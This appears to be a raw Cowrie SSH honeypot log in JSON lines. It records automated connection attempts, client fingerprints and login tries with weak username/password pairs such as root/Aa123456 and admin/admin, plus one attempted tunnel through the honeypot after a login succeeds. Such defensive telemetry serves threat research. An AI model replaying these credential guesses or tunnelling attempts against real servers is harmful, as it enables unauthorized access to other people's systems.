{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:53.041877Z","src_ip":"80.94.92.182","session":"1c829ac0b0b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:53.714146Z","src_ip":"80.94.92.182","session":"1c829ac0b0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:55.120039Z","src_ip":"80.94.92.182","session":"1c829ac0b0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49622,"dst_ip":"159.203.135.109","dst_port":22,"session":"144d81bd1990","protocol":"ssh","message":"New connection: 45.153.34.114:49622 (159.203.135.109:22) [session: 144d81bd1990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:59.111712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:59.120369Z","src_ip":"45.153.34.114","session":"144d81bd1990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:59.196904Z","src_ip":"45.153.34.114","session":"144d81bd1990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:39:59.538142Z","src_ip":"45.153.34.114","session":"144d81bd1990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:00.626107Z","src_ip":"45.153.34.114","session":"144d81bd1990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64264,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7fc0696e008","protocol":"ssh","message":"New connection: 87.251.64.176:64264 (10.17.0.5:22) [session: d7fc0696e008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:06.815751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:06.822346Z","src_ip":"87.251.64.176","session":"d7fc0696e008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:06.918948Z","src_ip":"87.251.64.176","session":"d7fc0696e008","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:07.221720Z","src_ip":"87.251.64.176","session":"d7fc0696e008","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:07.321255Z","session":"d7fc0696e008","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:07.419759Z","src_ip":"87.251.64.176","session":"d7fc0696e008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47632,"dst_ip":"159.203.135.109","dst_port":22,"session":"11ceed5fedfa","protocol":"ssh","message":"New connection: 45.153.34.114:47632 (159.203.135.109:22) [session: 11ceed5fedfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:07.451797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:07.457318Z","src_ip":"45.153.34.114","session":"11ceed5fedfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:07.554432Z","src_ip":"45.153.34.114","session":"11ceed5fedfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:07.657997Z","src_ip":"87.251.64.176","session":"d7fc0696e008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:07.842074Z","src_ip":"45.153.34.114","session":"11ceed5fedfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:08.936942Z","src_ip":"45.153.34.114","session":"11ceed5fedfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40130,"dst_ip":"159.203.135.109","dst_port":22,"session":"3939b61a4ba3","protocol":"ssh","message":"New connection: 103.75.199.4:40130 (159.203.135.109:22) [session: 3939b61a4ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:09.268919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:09.274398Z","src_ip":"103.75.199.4","session":"3939b61a4ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:09.366765Z","src_ip":"103.75.199.4","session":"3939b61a4ba3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:09.645117Z","src_ip":"103.75.199.4","session":"3939b61a4ba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:10.739825Z","src_ip":"103.75.199.4","session":"3939b61a4ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":55544,"dst_ip":"10.17.0.5","dst_port":22,"session":"30de6d5f98df","protocol":"ssh","message":"New connection: 80.94.92.168:55544 (10.17.0.5:22) [session: 30de6d5f98df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:12.161776Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":35326,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4310dd3c724","protocol":"ssh","message":"New connection: 20.203.42.204:35326 (159.203.135.109:22) [session: f4310dd3c724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:12.796118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:12.808830Z","src_ip":"20.203.42.204","session":"f4310dd3c724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:12.980633Z","src_ip":"20.203.42.204","session":"f4310dd3c724","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:13.082039Z","src_ip":"80.94.92.168","session":"30de6d5f98df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@ppl3s","message":"login attempt [root/@ppl3s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:13.689959Z","src_ip":"20.203.42.204","session":"f4310dd3c724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:14.106469Z","src_ip":"80.94.92.168","session":"30de6d5f98df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:14.862225Z","src_ip":"20.203.42.204","session":"f4310dd3c724","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39506,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d02b9a36d98","protocol":"ssh","message":"New connection: 45.153.34.114:39506 (159.203.135.109:22) [session: 9d02b9a36d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:15.313359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:15.320389Z","src_ip":"45.153.34.114","session":"9d02b9a36d98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:15.407056Z","src_ip":"45.153.34.114","session":"9d02b9a36d98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:15.668928Z","src_ip":"45.153.34.114","session":"9d02b9a36d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:16.764120Z","src_ip":"45.153.34.114","session":"9d02b9a36d98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:18.084391Z","src_ip":"80.94.92.168","session":"30de6d5f98df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49926,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab2faa1df846","protocol":"ssh","message":"New connection: 45.153.34.114:49926 (159.203.135.109:22) [session: ab2faa1df846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:23.500438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:40:23.506888Z","src_ip":"45.153.34.114","session":"ab2faa1df846","protocol":"ssh"}
